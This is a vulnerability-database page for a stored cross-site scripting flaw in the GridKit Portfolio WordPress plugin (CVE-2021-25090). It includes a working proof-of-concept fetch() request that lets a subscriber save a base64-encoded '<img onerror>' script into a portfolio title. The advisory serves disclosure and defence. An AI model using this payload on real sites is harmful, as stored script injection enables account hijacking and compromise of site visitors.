Lucene search
+L

GridKit Portfolio < 2.1.0 - Subscriber+ Stored Cross-Site Scripting

🗓️ 15 Mar 2022 00:00:00Reported by Krzysztof ZającType 
wpexploit
 wpexploit
👁 122 Views

GridKit Portfolio < 2.1.0 - Subscriber+ Stored Cross-Site Scripting. Create portfolio, add to post/page, run XSS exploi

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
ATTACKERKB
CVE-2021-25090
11 Apr 202215:15
attackerkb
circl
Circl
CVE-2021-25090
11 Apr 202218:16
circl
cnnvd
CNNVD
WordPress plugin 跨站脚本漏洞
11 Apr 202200:00
cnnvd
cnvd
CNVD
Wordpress Portfolio Gallery和Product Catalog跨站脚本漏洞
13 Apr 202200:00
cnvd
cve
CVE
CVE-2021-25090
11 Apr 202214:40
cve
cvelist
Cvelist
CVE-2021-25090 GridKit Portfolio < 2.1.0 - Subscriber+ Stored Cross-Site Scripting
11 Apr 202214:40
cvelist
euvd
EUVD
EUVD-2021-12002
7 Oct 202500:30
euvd
nvd
NVD
CVE-2021-25090
11 Apr 202215:15
nvd
osv
OSV
CVE-2021-25090
11 Apr 202215:15
osv
patchstack
Patchstack
WordPress Grid Kit Portfolio plugin <= 2.0.0 - Stored Cross-Site Scripting (XSS) vulnerability
15 Mar 202200:00
patchstack
Rows per page
Step 1: Create a portfolio with at least one project (as admin)
Step 2: Add it to a post/page
Step 3: Run (as subscriber):

fetch("https://example.com/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded"
  },
  "body": new URLSearchParams({"action": "crp_save_portfolio", "portfolio": '{"id":"1","title":"p","corder":["1"],"options":null,"extoptions":{"all_cats":{},"type":"album"},"projects":{"1":{"id":"0","pid":"1","title":"PGltZyBzcmMgb25lcnJvcj1hbGVydCgxKT4","description":"p","url":"http://tt.tt","cover":"aHR0cHM6Ly93d3cud2lraXBlZGlhLm9yZy9wb3J0YWwvd2lraXBlZGlhLm9yZy9hc3NldHMvaW1nL1dpa2lwZWRpYS1sb2dvLXYyLnBuZw==","pics":"","categories":[],"cdate":null,"details":""}},"deletions":[],"isDraft":false}'}),
  "method": "POST",
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));

The XSS will be triggered on the post/page where the Portfolio is embed

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

09 Apr 2022 07:12Current
0.3Low risk
Vulners AI Score0.3
CVSS 23.5
CVSS 3.15.4
EPSS0.006
122